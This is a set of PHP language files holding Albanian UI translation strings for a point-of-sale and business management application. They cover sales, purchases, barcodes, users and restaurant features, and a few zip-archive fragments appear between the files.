'product_sku' => 'SKU e Produkteve', 'product_unit' => 'Njësia e Produkteve', 'import_sale_unit_not_found' => 'Njësia me emrin :unit_name nuk u gjet në rresht :row', 'types_of_servicet_not_found' => 'Llojet e shërbimit me emrin :types_of_service_name nuk gjenden në rresht :row', 'email_or_phone_cannot_be_empty_in_row' => 'Ose telefoni ose emaili i klientit kërkohet në rresht :row', 'product_cannot_be_empty_in_row' => 'Ose emri i produktit ose SKU i produktit kërkohet në rresht :row', 'quantity_cannot_be_empty_in_row' => 'Sasia e produktit kërkohet në rresht :row', 'unit_price_cannot_be_empty_in_row' => 'Pricemimi i njësisë kërkohet në rresht :row', 'imports' => 'Importet', 'invoices' => 'Faturat', 'import_batch' => 'Importi grupi', 'import_time' => 'Koha e importit', 'cannot_select_a_field_twice' => 'Ju nuk mund të zgjidhni një fushë dy herë', 'revert_import' => 'Rivendos Importin', 'import_reverted_successfully' => 'Importi u kthye me sukses', 'importable_fields' => 'Fusha të rëndësishme', 'sort_order' => 'Rendit rendit', 'total_returned' => 'Totali u kthye', 'skip' => 'SKIP', 'group_by_tooltip' => 'Kolona për grupimin e linjave të shitjes në të njëjtën faturë', 'allowed_file' => 'Dosja e Lejuar', 'detailed_with_purchase' => 'Detajuar (me blerje)', 'supplier_name' => 'Emri i furnizuesit', 'purchase_ref_no' => 'Ref Blerja Nr.', 'save_and_print' => 'Ruani dhe shtypni', 'update_and_print' => 'Azhurnoni dhe shtypni', 'all_your_discounts' => 'Të gjitha zbritjet tuaja', 'priority' => 'Prioritet', 'starts_at' => 'Fillon Atë', 'ends_at' => 'Mbaron At', 'used_for_browser_based_printing' => 'Përdoret për shtypje të bazuar në shfletues', 'hsn_or_category_code' => 'HSN ose Kodi i Kategorisë', 'discounts' => 'Zbritje', 'allow_overselling' => 'Lejo Overselling', 'view_own_purchase' => 'Shikoni vetëm blerjen vetjake', 'view_own_expense' => 'Shikoni vetëm shpenzimet vetanake', 'allow_login' => 'Lejo login', 'login_not_allowed' => 'Hyrja nuk lejohet', 'labels_for_contact_custom_fields' => 'Etiketa për fushat me porosi të kontaktit', 'labels_for_product_custom_fields' => 'Etiketa për fushat me porosi të produktit', 'labels_for_purchase_custom_fields' => 'Etiketa për blerjen e fushave të kujdestarisë', 'labels_for_sell_custom_fields' => 'Etiketa për të shitur fusha me porosi', 'labels_for_location_custom_fields' => 'Etiketa për fushat me porosi të lokacionit', 'labels_for_types_of_service_custom_fields' => 'Etiketa për llojet e fushave të personalizuara të shërbimit', 'labels_for_user_custom_fields' => 'Etiketa për fushat me porosi të përdoruesit', 'total_transfer_shipping_charge' => 'Tarifa totale e transferimit të transferimit', 'total_purchase_shipping_charge' => 'Pagesë totale e transportit', 'total_sell_shipping_charge' => 'Totali i shitjes së tarifës së transportit', 'opening_stock_location' => 'Hapja e vendndodhjes së aksioneve', 'product_locations_ins' => 'Emrat e vendndodhjes së biznesit të ndarë me presje, ku produkti do të jetë i disponueshëm', 'product_locations' => 'Vendndodhjet e produkteve', 'view_products' => 'Shiko produktet', 'pos_screen_featured_products' => 'Produktet e preferuara të ekranit POS', 'featured_products_help' => 'Produktet e zgjedhura do të shfaqen në krye të sugjerimit të produktit në ekranin pos për qasje të shpejtë', 'purchase_report' => 'Raporti i Blerjes', 'sale_report' => 'Raporti i Shitjes', 'payment_date' => 'Data e pagesës', 'year_month' => 'Viti / Muaji', 'lead' => 'Lead', 'featured_products' => 'Produktet e preferuara', 'repeat_on' => 'Përsërite', 'access_tables' => 'Tabelat e hyrjes', 'access_printers' => 'Printerët e hyrjes', 'access_types_of_service' => 'Llojet e aksesit të shërbimit', 'search_address' => 'Adresa e Kërkimit', 'contact_locations' => 'Vendndodhjet e Kontaktit', 'map' => 'Map', 'both_customer_and_supplier' => 'Të dy klientët dhe furnizuesit', 'service' => 'Shërbimi', 'either_cust_email_or_phone_required' => 'Ose kërkohet ID e emailit të klientit ose numri i telefonit', 'either_product_name_or_sku_required' => 'Ose emri i produktit (vetëm për të vetme dhe të kombinuar) ose kërkohet një produkt', 'show_invoice_scheme' => 'Shfaq skemën e faturës', 'select_invoice_scheme' => 'Zgjidhni skemën e faturës', 'recurring_expense_help' => 'Nëse kontrollohet, kjo shpenzim do të gjenerohet automatikisht në intervale të rregullta', 'recur_interval' => 'Intervali i përsëritur', 'recur_expense_repetition_help' => 'Nëse shpenzimi bosh do të gjenerohet me kohë të pafundme', 'recurring_expense_message' => 'Gjeneruar shpenzime të reja të përsëritura. Ref nr.: <i>:ref_no </i>', 'recurring_expense' => 'Shpenzim i përsëritur', 'generated_recurring_expense' => 'Shpenzim i gjeneruar i përsëritur', 'select_contacts' => 'Zgjidh kontaktet', 'middle_name' => 'Emri i mesëm', 'address_line_1' => 'Rreshti i adresës 1', 'address_line_2' => 'Rreshti i adresës 2', 'dob' => 'Data e lindjes', 'dob_ins' => 'Formati Y-m-d', 'by_purchase_price' => 'Sipas çmimit të blerjes', 'by_sale_price' => 'Sipas çmimit të shitjes', 'potential_profit' => 'Fitimi i mundshëm', 'apply_all' => 'Aplikoni të gjitha', 'hide_all_prices' => 'Fshih të gjitha çmimet', 'select_invoice_layout' => 'Zgjidhni paraqitjen e faturës', 'max_sales_discount_percent' => 'Maksimumi i zbritjes së shitjeve', 'max_sales_discount_percent_help' => 'Përqindja maksimale e zbritjes që një përdorues mund të japë gjatë shitjes. Lëreni bosh pa kufizime', 'max_discount_error_msg' => 'Ju mund të jepni maksimum :discount% zbritje për shitje', 'show_invoice_layout' => 'Trego paraqitjen e paraqitjes së faturës', 'recurred_from' => 'Përsëritur nga', 'recur_details' => 'Detaje të përsëritura', 'recurring' => 'Përsëritur', 'view_product_stock_value' => 'Shikoni vlerën e aksioneve të produktit', 'added' => 'Shtuar', 'disable_credit_sale_button' => 'Çaktivizo butonin e shitjes së kredisë', 'pay' => 'Paguaj', 'use_advance_balance' => 'Përdor bilancin e paradhënies', 'advance' => 'Paradhënie', 'advance_balance' => 'Bilanci i paradhënies', 'advance_payment' => 'Pagesë paradhënie', 'required_advance_balance_not_available' => 'Bilanci i kërkuar i paradhënies nuk është i disponueshëm', 'in_transit' => 'Në tranzit', 'edit_stock_transfer' => 'Redakto Transferimi i aksioneve', 'completed_status_help' => 'Transferimi i aksioneve nuk do të redaktohet nëse statusi është i përfunduar', 'no_data' => 'Pa të dhëna', 'sms_service' => 'Shërbimi SMS', 'nexmo_key' => 'Çelësi Nexmo', 'nexmo_secret' => 'Nexmo Secret', 'twilio_token' => 'Shenja e hyrjes në Twilio', 'twilio_sid' => 'Llogaria Twilio SID', 'upcoming' => 'Në pritje', 'final' => 'Final', 'expense_for_contact' => 'Shpenzim për kontakt', 'create' => 'Krijo', 'waiting' => 'Ne pritje', 'sms_settings_header_key' => 'Header: çelësi i numrit', 'sms_settings_header_val' => 'Header: vlera e numrit', 'stock_adjustment_details' => 'Detajet e rregullimit të aksioneve', 'stock_transfer_details' => 'Detajet e transferimit të aksioneve', 'invoice_layout_for_pos' => 'Paraqitja e faturave për POS', 'invoice_layout_for_sale' => 'Paraqitja e faturave për shitje', 'invoice_layout_for_sale_tooltip' => 'Paraqitja e faturave për shitje direkte', 'new_quotation' => 'Citim i ri', 'new_quotation_notification' => 'Njoftim i ri për kuotim', 'view_quote_url' => 'Shiko url-në e kuotës', 'close_cash_register' => 'Mbyll arkën', 'view_cash_register' => 'Shiko arkën', 'for_tax_group_only' => 'Vetëm për grupin e taksave', 'for_tax_group_only_help' => 'Nëse kontrollohet, kjo taksë nuk do të shfaqet individualisht në zbritje, vetëm mund të shtohet në grupin e taksave', 'exempt' => 'Përjashtohen', 'tax_exempt_help' => 'Shkalla e tatimit zero për qind do të konsiderohet e përjashtuar nga taksat', 'show_total_in_words' => 'Shfaq totalin me fjalë', 'show_in_word_help' => 'duhet të aktivizohet zgjatja e php-intl', 'print_on_suspend' => 'Printo faturën në pezull', 'view_all_customer' => 'Shikoni të gjithë klientët', 'view_own_customer' => 'Shiko klientin tënd', 'view_all_supplier' => 'Shikoni të gjithë furnizuesit', 'view_own_supplier' => 'Shiko vetë furnizuesin', 'label_help' => 'Shtypni barkodin / etiketën', 'connection_type_windows' => 'Lloji i lidhjes Windows', 'connection_type_linux' => 'Lloji i Lidhjes Linux', 'windows_type_help' => 'Skedarët e pajisjes do të jenë përgjatë vijave të', 'linux_type_help' => 'Skedari i pajisjes suaj të printerit do të jetë diku si', 'due_date' => 'Data e Afatit', 'quotation_no' => 'Numri i vlerësimit', 'browser_based_printing' => 'Shtypja e bazuar në shfletues', 'configured_printer' => 'Përdor Printerin e Konfiguruar të Faturës', 'for_normal_printer' => 'Për printerin normal', 'recomended_for_80mm' => 'Rekomandohet për printerin e marrjes së linjës termike, madhësia e letrës 80 mm', 'recomended_for_58mm' => 'Rekomandohet për printerin e marrjes së linjës termike, madhësia e letrës 80 mm dhe 58 mm', 'classic' => 'Klasik', 'elegant' => 'Elegant', 'slim' => 'I hollë', 'detailed' => 'Të detajuar', 'columnize_taxes' => 'Kolonizimi i Taksave', 'types_of_service_help_long' => 'Lloji i shërbimit nënkupton shërbime si darka, pako, shpërndarje në shtëpi, dorëzim i palëve të treta etj. Mund të aktivizohet / çaktivizohet nga <code> Cilësimet> Modulet </code> dhe mund të krijohet nga <code> Cilësimet> Llojet e shërbimit </code> Ju gjithashtu mund të përcaktoni grupe të ndryshme çmimesh dhe tarifë paketimi për llojet e shërbimeve.', 'access_sell_return' => 'Kthimi i shitjes së aksesit', 'system_notification' => 'Njoftimi i sistemit', 'time_range' => 'Diapazoni kohor', 'enable_php_intl_extension' => 'Aktivizo shtesën php-intl në cilësimet e PHP INI', 'profit_note' => '<b> Shënim: </b> Fitimi sipas produkteve / kategorive / markave konsideron vetëm zbritjen inline. Zbritja e faturës nuk merret parasysh.', 'upcoming_bookings' => 'Rezervimet e ardhshme', 'is_refund' => 'Refshtë rimbursim', 'is_refund_help' => "Nëse kontrollohet, shpenzimi do të rimbursohet dhe do t'i shtohet fitimit neto", 'refund' => 'Rimbursim', 'activate' => 'Aktivizo', 'deactivate' => 'Çaktivizo', 'add_quotation' => 'Shto kuotim', 'product_stock_history' => 'Historia e stokut të produktit', 'quantities_in' => 'Sasitë në', 'quantities_out' => 'Sasitë jashtë', 'in' => 'Në', 'out' => 'Jashtë', 'totals' => 'Gjithsej', 'quantity_change' => 'Ndryshimi i sasisë', 'new_quantity' => 'Sasia e re', 'no_stock_history_found' => 'Nuk u gjet histori e aksioneve', 'add_draft' => 'Shto draftin', 'labels_for_sale_shipping_custom_fields' => 'Etiketa për shitje fusha të personalizuara të transportit', 'is_required' => 'Nevojitet', 'convert_to_invoice' => 'Shndërro në faturë', 'converted_to_invoice_successfully' => 'Konvertuar në faturë :invoice_no nuk ka sukses', 'proforma' => 'Proforma', 'proforma_invoice' => 'Faturë Proforma', 'convert_to_proforma' => 'Shndërro në Faturë Proforma', 'converted_to_proforma_successfully' => 'Konvertuar në Faturë Proforma', 'billing_address' => 'Adresa e faturimit', 'delete_sell' => 'Fshi Shit', 'product_brochure' => 'Broshura e produkteve', 'whatsapp_text' => 'Teksti Whatsapp', 'auto_send_wa_notif' => 'Automatikisht dërgoni njoftimin Whatsapp', 'send_whatsapp' => 'Dërgoni njoftim Whatsapp', 'send_sms' => 'Dërgoni SMS', 'send_email' => 'Dërgoni një email', 'shipping_documents' => 'Dokumentet e Transportit', 'no_attachment_found' => 'Nuk u gjet asnjë shtojcë', 'attachments' => 'Bashkëngjitjet', 'print_invoice' => 'Print Faturë', 'word_format' => 'Formati i Fjalës', 'international' => 'Ndërkombëtare', 'indian' => 'Indian', 'word_format_help' => 'Në formatin ndërkombëtar numrat e mëdhenj përfaqësohen në milion, miliardë dhe trilionë, ndërsa si në formatin indian përfaqësohet në lakhs dhe crores', 'shipping_edited' => 'Transporti i redaktuar', 'payment_edited' => 'Pagesa e redaktuar', 'notification_sent' => 'Njoftimi u dërgua', 'imported' => 'Importuar', 'logout' => 'Shkyç', 'backup_clean_command_instruction' => 'Për të pastruar rezervimin e vjetër, duhet të konfiguroni një punë cron me këtë komandë:', 'converted' => 'Të konvertuar', 'view_commission_agent_sell' => 'Agjentët e komisionit mund të shikojnë shitjen e tyre', 'access_commission_agent_shipping' => 'Agjentët e Komisionit mund të përdorin dërgesat e tyre', 'access_own_shipping' => 'Hyni në dërgesat vetanake', 'email_notification_sent' => 'Njoftimi me email u dërgua', 'sms_notification_sent' => 'Njoftimi për sms është dërguar', 'packing_date' => 'Data e Paketimit', 'print_exp_date' => 'Data e skadimit të printimit', 'print_packing_date' => 'Printo datën e paketimit', 'print_lot_number' => 'Printo numrin e pjesës', 'family_contact_number' => 'Numri i kontaktit familjar', 'custom_payment' => 'Pagesa me porosi :number', 'default_credit_limit' => 'Kufiri i paracaktuar i kredisë', 'price_calculation_type' => 'Lloji i llogaritjes së çmimit', 'show_pricing_on_product_sugesstion' => 'Shfaq çmimet në udhëzimet për sugjerimet e produkteve', 'all_purchase_orders' => 'Të gjitha porositë e blerjes', 'add_purchase_order' => 'Shto urdhër blerje', 'edit_purchase_order' => 'Redakto urdhrin e blerjes', 'purchase_order_details' => 'Detajet e porosisë së blerjes', 'enable_purchase_order' => 'Aktivizo urdhrin e blerjes', 'purchase_order_help_text' => 'Një urdhër blerje është një dokument komercial dhe oferta e parë zyrtare e lëshuar nga një blerës për një shitës që tregon llojet, sasitë dhe çmimet e rëna dakord për produktet ose shërbimet. Përdoret për të kontrolluar blerjen e produkteve dhe shërbimeve nga furnitorët e jashtëm. të jetë një pjesë thelbësore e urdhrave të sistemit të planifikimit të burimeve të ndërmarrjes. ', 'view_all_purchase_order' => 'Shikoni të gjitha porositë e blerjes', 'view_own_purchase_order' => 'Shiko porosinë e blerjes', 'create_purchase_order' => 'Krijo urdhër blerje', 'delete_purchase_order' => 'Fshi urdhër blerjen', 'purchase_order_delete_success' => 'Urdhri i blerjes u fshi me sukses', 'order_quantity' => 'Sasia e porosisë', 'order_date' => 'Data e porosisë', 'max_quantity_quantity_allowed' => 'Maks :quantity e lejuar', 'leave_empty_to_autogenerate' => 'Lëreni bosh për të autogjeneruar', 'add_edit_invoice_number' => 'Shto redaktoni numrin e faturës', 'keep_blank_to_autogenerate' => 'Mbani bosh për të gjeneruar automatikisht', 'download_pdf' => 'Shkarkoni pdf', 'attach_pdf_in_email' => 'Bashkangjit faturën pdf në email', 'send_sms_whatsapp_notification' => 'Dërgoni njoftim sms / whatsapp', 'enable_sales_order' => 'Aktivizo urdhrin e shitjes', 'sales_order' => 'Urdhër Shitje', 'sales_order_help_text' => 'Urdhri i shitjes, ndonjëherë i shkurtuar si SO, është një urdhër i lëshuar nga një biznes ose tregtar i vetëm për një klient. Një urdhër shitje mund të jetë për produkte dhe / ose shërbime.', 'add_sales_order' => 'Shto urdhër shitje', 'edit_sales_order' => 'Redakto urdhrin e shitjes', 'shipping_note' => 'Shënim transporti', 'code_1_name' => 'Emri i kodit 1', 'code_2_name' => 'Emri i kodit 2', 'code_1' => 'Kodi 1', 'code_2' => 'Kodi 2', 'download_paking_pdf' => 'Shkarkoni paketimin pdf', 'subject_type' => 'Lloji i Subjektit', 'activity_log' => 'Regjistri i Aktivitetit', 'sell_deleted' => 'Shitet i Fshirë', 'so_deleted' => 'Urdhri i Shitjes është Fshirë', 'po_deleted' => 'Urdhri i Blerjes është Fshirë', 'purchase_deleted' => 'Blerja u fshi', 'contact_deleted' => 'Kontakti u fshi', 'payment_deleted' => 'Pagesa u fshi', 'quantity_remaining' => 'Sasia e mbetur', 'view_sale' => 'Shiko Shit', 'update_sale' => 'Përditëso Shit', 'add_sell' => 'Shto shitje', 'account_details' => 'Detajet e llogarise', 'label' => 'Etiketa', 'prefer_payment_method' => 'Preferoni mënyrën e pagesës', 'prefer_payment_account' => 'Prefero llogarinë e pagesës', 'this_will_be_shown_in_pdf' => 'Metoda / llogaria e preferuar ku klienti mund të paguajë faturën. (E dobishme për faturat e kredisë)', 'view_own_so' => 'Shikoni porosinë e shitjes vetanake', 'view_all_so' => 'Shikoni të gjitha porositë e shitjeve', 'create_so' => 'Krijo urdhër shitje', 'edit_so' => 'Redakto urdhrin e shitjes', 'delete_so' => 'Fshi porosinë e shitjes', 'types_of_service_custom_field_help' => 'Gjashtë fusha të personalizuara do të jenë në dispozicion gjatë shtimit të shitjes', 'delete_expense' => 'Fshi Shpenzimin', 'access_all_expense' => 'Hyni në të gjitha shpenzimet', 'designation' => 'Përcaktimi', 'department' => 'Departamenti', 'is_default_for_contact' => 'Defaultshtë parazgjedhur për kontakt', 'individual' => 'Individual', 'is_export' => 'A është eksporti?', 'export' => 'Eksporto', 'export_custom_field1' => 'Eksporto fushën e personalizuar 1', 'export_custom_field2' => 'Eksporto fushën e personalizuar 2', 'export_custom_field3' => 'Eksporto fushën e personalizuar 3', 'export_custom_field4' => 'Eksporto fushën e personalizuar 4', 'export_custom_field5' => 'Eksporto fushën e personalizuar 5', 'export_custom_field6' => 'Eksporto fushën e personalizuar 6', 'enable_export' => 'Aktivizo eksportin', 'edit_status' => 'Redakto statusin', 'status_updated' => 'Statusi i azhurnuar', 'item_discount_label' => 'Etiketa e zbritjes së artikullit', 'sales_orders' => 'Urdhrat e Shitjes', 'cash_denominations' => 'Emërtimet e parave të gatshme', 'cash_denominations_help' => 'Vlera të ndara me presje Shembull: 100,200,500,000,000', 'denomination' => 'Emërtimi', 'count' => 'Numëroni', 'denomination_add_help_text' => 'Shto prerje në Cilësimet -> Cilësimet e biznesit -> POS -> Emërtimet e parave', 'order_dates' => 'Datat e porosisë', 'by_category' => 'Sipas kategorisë', 'by_brand' => 'Sipas markës', 'no_brand' => 'Pa markë', 'woocommerce_sync' => 'WooCommerce Sync', 'enable' => 'Aktivizo', 'disable' => 'Çaktivizo', 'cmmsn_calculation_type' => 'Lloji i llogaritjes së komisionit', 'invoice_value' => 'Vlera e faturës', 'total_payment_with_commsn' => 'Pagesa totale me komision', 'payments_with_cmmsn' => 'Pagesat me komision', 'view_all_drafts' => 'Shikoni të gjitha draftet', 'view_own_drafts' => 'Shikoni drafte vetanake', 'edit_draft' => 'Redakto draftin', 'delete_draft' => 'Fshi draftin', 'view_all_quotations' => 'Shikoni të gjitha citimet', 'view_own_quotations' => 'Shiko citatet vetanake', 'edit_quotation' => 'Redakto citatin', 'delete_quotation' => 'Fshi citatin', 'primary_work_location' => 'Vendndodhja primare e punës', 'labels_for_purchase_shipping_custom_fields' => 'Etiketa për blerjen e fushave të personalizuara të transportit', 'view_own_purchase_n_stock_adjustment' => 'Shikoni Blerjen e vet dhe Rregullimin e Aksioneve', 'view_all_purchase_n_stock_adjustment' => 'Shikoni të gjitha Blerjet & Rregullimet e Aksioneve', 'access_all_shipments' => 'Hyni në të gjitha dërgesat', 'view_all_sale' => 'Shiko të gjitha shes', 'total_quantity' => 'Sasia totale', 'pending_shipments' => 'Dërgesat në pritje', 'view_paid_sells_only' => 'Shiko vetëm shet me pagesë', 'view_due_sells_only' => 'Shiko vetëm shitet për shkak', 'view_partially_paid_sells_only' => 'Shikoni vetëm shitjet e paguara pjesërisht', 'view_overdue_sells_only' => 'Shiko vetëm shitjet e prapambetura', 'customer_with_no_sell_one_month' => 'Shikoni klientë pa shitje vetëm nga një muaj', 'customer_with_no_sell_three_month' => 'Shikoni klientë pa shitje vetëm nga tre muaj', 'customer_with_no_sell_six_month' => 'Shikoni klientë pa shitje vetëm nga gjashtë muaj', 'customer_with_no_sell_one_year' => 'Shikoni klientë pa shitje vetëm nga një vit', 'customer_permissions_tooltip' => 'Për të parë të gjithë klientët pa shitje nga një kohë e caktuar <b> Shikoni të gjithë klientët </b> kërkohet leja përndryshe ajo do të filtrohet vetëm me kromozerë të krijuar nga përdoruesi i regjistruar', 'sell_permissions_tooltip' => 'Për të parë shitjet në bazë të statusit të pagesës <b> Shikoni të gjitha shitjet </b> kërkohet leja përndryshe ajo do të filtrohet vetëm me shitje të krijuara nga përdoruesi i regjistruar', 'access_pending_shipments_only' => 'Hyni vetëm në dërgesat në pritje', 'access_all_sell_return' => 'Merrni përsëritje të të gjitha shitjeve', 'access_own_sell_return' => 'Merr përsëritjen e shitjes vetanake', 'proforma_heading' => 'Titulli i faturës Proforma', 'tooltip_proforma_heading' => 'Titulli i faturës Proforma përdoret gjatë sigurimit të Proforma për klientët.', 'line_taxes' => 'Taksat e linjës', 'add_additional_expenses' => 'Shto shpenzime shtesë', 'additional_expense_name' => 'Emri i shpenzimeve shtesë', 'purchase_additional_expense' => 'Bleni shpenzime shtesë', 'qr_code' => 'Kodi QR', 'show_qr_code' => 'Shfaq QR Code', 'fields_to_be_shown' => 'Fushat që do të shfaqen', 'business_location_address' => 'Adresa e vendndodhjes së biznesit', 'business_tax_1' => 'Taksa e biznesit 1', 'business_tax_2' => 'Taksa e biznesit 2', 'invoice_datetime' => 'Fatura Datetime', 'total_amount_with_tax' => 'Shuma totale me taksë', 'total_bank_transfer' => 'Transfertë totale bankare', 'total_advance_payment' => 'Pagesë totale paradhënie', 'commission_agent_label' => 'Etiketa e agjentit të komisionit', 'show_commission_agent' => 'Shfaq agjentin e komisionit', 'cannot_change_role' => 'Nuk mund ta ndryshoj rolin', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Lidhja e pagesës', 'enable_payment_link' => 'Aktivizo lidhjen e pagesës', 'payment_link_help_text' => 'Duke u mundësuar përdoruesve të paguajnë faturën duke përdorur lidhjen e pagesës', 'invoice_payment' => 'Pagesa e faturës', 'payment_for_invoice_no' => 'Pagesa për numrin e faturës', 'pending_shipments' => 'Dërgesat në pritje', 'sources' => 'Burimet', 'stripe_secret_key' => 'Çelësi sekret i shiritit', 'stripe_public_key' => 'Çelësi publik me shirita', 'edit_opening_balance' => 'Ndrysho bilancin e hapjes', 'edit_fund_transfer' => 'Ndrysho transferimin e fondeve', 'edit_deposit' => 'Ndrysho depozitën', 'deposit_to' => 'Depozita në', 'transfer_from' => 'Transferimi nga', 'edit_account_transaction' => 'Ndrysho transaksionin e llogarisë', 'delete_account_transaction' => 'Fshi transaksionin e llogarisë', 'add_purchase_payment' => 'Shto pagesën e blerjes', 'edit_purchase_payment' => 'Ndrysho pagesën e blerjes', 'delete_purchase_payment' => 'Fshi pagesën e blerjes', 'add_sell_payment' => 'Shto pagesën e shitjes', 'edit_sell_payment' => 'Ndrysho pagesën e shitjes', 'delete_sell_payment' => 'Fshi pagesën e shitjes', 'delivery_person' => 'Personi i dorëzimit', 'enable_service_staff_pin' => 'Aktivizo PIN-in e stafit të shërbimit', 'staff_pin' => 'PIN-i i Stafit', 'tooltip_is_enable_service_staff_pin' => 'Nëse është e aktivizuar, gjatë shitjeve/POS kur ky përdorues zgjidhet si staf i shërbimit, duhet të vendoset PIN-i, PIN-i i pasaktë nuk do të lejojë zgjedhjen e këtij përdoruesi si staf i shërbimit.', 'kitchen_order' => 'Porosia e kuzhinës', 'kitchen_order_tooltip' => 'Porosia do të dërgohet në kuzhinë vetëm nëse ky opsion është zgjedhur', 'disable_quotation' => 'Çaktivizo Kuotën', 'disable_card' => 'Çaktivizo Kartën', 'assigned_to' => 'Caktuar për', 'has_no_sell_from' => 'Nuk ka shitje nga', 'delivery_note' => 'Shënime dërgese', 'above_mentioned_items_received_in_good_condition' => 'Artikujt e përmendur më lart janë marrë në gjendje të mirë', 'received_by' => 'Marrë nga', 'enter_details_below_to_check_repair_status' => 'Futni detajet më poshtë për të kontrolluar statusin e riparimit', 'search_by' => 'Kërko nga' ]; PK G �Z^_k� � sq/barcode.phpnu �[��� <?php return [ 'barcodes' => 'Barcodes', 'barcode_settings' => 'Cilësimet e kodit', 'manage_your_barcodes' => 'Menaxhoni cilësimet e kodit tuaj të kodit', 'all_your_barcode' => 'Të gjitha cilësimet e kodit tuaj', 'setting_name' => 'Vendosja e fletës së ngjitjes Emri', 'setting_description' => 'Vendosja e fletës së pllakës Përshkrimi', 'added_success' => 'Vendosja e kodit të barkodës u shtua me sukses', 'updated_success' => 'Cilësimi i kodit të barkodës u përditësua me sukses', 'deleted_success' => 'Vendosja e kodit të barkodit fshihet me sukses', 'add_new_setting' => 'Shto vendosjen e re', 'add_barcode_setting' => 'Vendosja e caktimit të afishimit të barkodit', 'edit_barcode_setting' => 'Modifiko vendosjen e afishimit të barkodit', 'in_in' => 'Në inç', 'width' => 'Gjerësia e gjembit', 'height' => 'Lartësia e gjembit', 'top_margin' => 'Marzhi shtesë shtesë', 'left_margin' => 'Shtesë kufiri i majtë', 'row_distance' => 'Largësia midis dy rreshtave', 'col_distance' => 'Largësia ndërmjet dy kolonave', 'blank_stickers' => 'Blank Stickers', 'stickers_in_one_row' => 'Stickers në një rresht', 'delete_confirm' => "Ky cilësim do të fshihet \ n A jeni i sigurt?", 'set_as_default' => 'Vendose si paresore', 'default' => 'Default', 'default_set_success' => 'Default vendosur me sukses', 'stickers_in_one_sheet' => 'Nr i ngjitëseve për fletë', 'is_continuous' => 'Ushqim i vazhdueshëm ose rrotullime', 'products' => 'Produktet', 'no_of_labels' => 'Numri i etiketave', 'info_in_labels' => 'Informacion për të treguar në etiketa', 'print_name' => 'Emri i produktit', 'print_variations' => 'Varianti i produktit (i rekomanduar)', 'print_price' => 'Çmimi i Produktit', 'show_price' => 'Trego çmimin', 'preview' => 'Preview', 'print_business_name' => 'Emri i biznesit', 'barcode_setting' => 'Vendosja e kodit', 'paper_width' => 'Gjerësia e letrës', 'paper_height' => 'Lartësia e letrës', 'print_labels' => 'Etiketa të printuara', 'labels' => 'Etiketa', ]; PK G �Z� .̑ � sq/user.phpnu �[��� <?php return [ 'edit_profile' => 'Ndrysho profilin', 'change_password' => 'Ndrysho fjalekalimin', 'current_password' => 'Fjalëkalimi aktual', 'new_password' => 'Fjalëkalim i ri', 'confirm_new_password' => 'Konfirmo fjalëkalimin e ri', 'user_management' => 'Menaxhimi i përdoruesve', 'roles' => 'Rolet', 'users' => 'Përdoruesit', 'manage_roles' => 'Menaxhoni rolet', 'all_roles' => 'Të gjitha rolet', 'add_role' => 'Shto rol', 'role_name' => 'Emri i rolit', 'permissions' => 'Permissions', 'role_added' => 'Roli u shtua me sukses', 'role_already_exists' => 'Roli me të njëjtin emër tashmë ekziston', 'edit_role' => 'Redakto rolin', 'role_updated' => 'Roli u përditësua me sukses', 'role_deleted' => 'Roli fshihet me sukses', 'manage_users' => 'Menaxhoni përdoruesit', 'all_users' => 'Te gjithe perdoruesit', 'name' => 'Emri', 'role' => 'Roli', 'add_user' => 'Shto përdorues', 'user_added' => 'Përdoruesi u shtua me sukses', 'role_is_default' => 'Ju nuk mund ta modifikoni këtë rol', 'edit_user' => 'Ndrysho përdoruesin', 'leave_password_blank' => 'Lërni fushën e fjalëkalimit nëse nuk dëshironi të përditësoni fjalëkalimin', 'user_update_success' => 'Përdoruesi u përditësua me sukses', 'user_delete_success' => 'Përdoruesi fshihet me sukses', ]; PK G �Zu��e� � sq/restaurant.phpnu �[��� <?php return [ 'restaurant' => 'Restaurant', 'tables' => 'Tabelat', 'table' => 'Tabela', 'manage_your_tables' => 'Menaxho tavolinat e restoranteve', 'all_your_tables' => 'Të gjitha tavolinat e restoranteve', 'description' => 'Përshkrim', 'add_table' => 'Shto tryezë', 'edit_table' => 'Modifiko tabelën', 'table_name' => 'Emri i tabelës', 'short_description' => 'Përshkrim i shkurtër', 'select_table' => 'Zgjidh tabelën', 'show_table' => 'Trego tabelën', 'table_label' => 'Etiketa e tabelës', 'show_service_staff' => 'Trego stafin e shërbimit', 'service_staff_label' => 'Etiketa e stafit të shërbimit', 'select_waiter' => 'Zgjidh Kamarier', 'modifiers' => 'Modifiers', 'modifier_sets' => 'Modifikuesi vendos', 'manage_your_modifiers' => 'Manage all modifiers restaurant', 'all_your_modifiers' => 'Të gjithë Modifikuesit', 'add_modifier' => 'Shto modifier', 'modifier_set' => 'Modifier Set', 'modifier' => 'Modifiers', 'edit_modifier' => 'Edit Modifier', 'manage_products' => 'Manage Products', 'products' => 'Produkte', 'modifiers_for_product' => 'Modifikuesit për produktin', 'kitchen' => 'Kuzhina', 'mark_as_cooked' => 'Trego si gatuar', 'manage_your_kitchen' => 'Manage your kitchen', 'all_orders' => 'Të gjitha urdhërat', 'order_no' => 'Urdhër Nr', 'order_statuses' => [ 'received' => 'Dërguar', 'cooked' => 'Gatuar', 'served' => 'Served', '' => 'Dërguar', ], 'order_successfully_marked_cooked' => 'Rendit me sukses të shënuar si gatuar', 'order_successfully_marked_served' => 'Rendit me sukses të shënuar si shërbyer', 'orders' => 'urdhëron', 'manage_your_orders' => 'Manage your orders', 'all_your_orders' => 'Të gjitha urdhrat e tu', 'mark_as_served' => 'Shëno si shërbeu', 'placed_at' => 'Vendosur në', 'order_status' => 'Statusi i porosisë', 'order_details' => 'Detajet e porositjes', 'refresh' => 'Refresh', 'no_orders_found' => 'Nuk u gjetën urdhra', 'select_service_staff' => 'Zgjidh stafin e shërbimit', 'service_staff' => 'Stafi i shërbimit', 'kitchen_for_restaurant' => 'Kuzhina (Për restorantet)', 'products_for_modifier' => 'Produkte për modifikues', 'is_service_staff' => 'A është stafi i shërbimit', 'tooltip_tables' => 'Përdoret kryesisht në restorante, bare, sallone etj', 'tooltip_modifiers' => 'Shto artikuj shtesë me produktin kryesor <br> Shembull: Toppings, Cheese', 'tooltip_service_staff' => 'Personi që ofron shërbimin e caktuar për klientët <br> Shembull: Stafi i pritjes në restorante, Parukierat në sallon', 'modules_settings' => 'Cilësimet e moduleve', 'bookings' => 'Rezervimet', 'add_edit_view_all_booking' => 'Shto / Ndrysho / Shikoni të gjitha rezervimet', 'add_edit_view_own_booking' => 'Shto / Ndrysho / Shiko rezervimet e veta', 'add_booking' => 'Shto një rezervim të 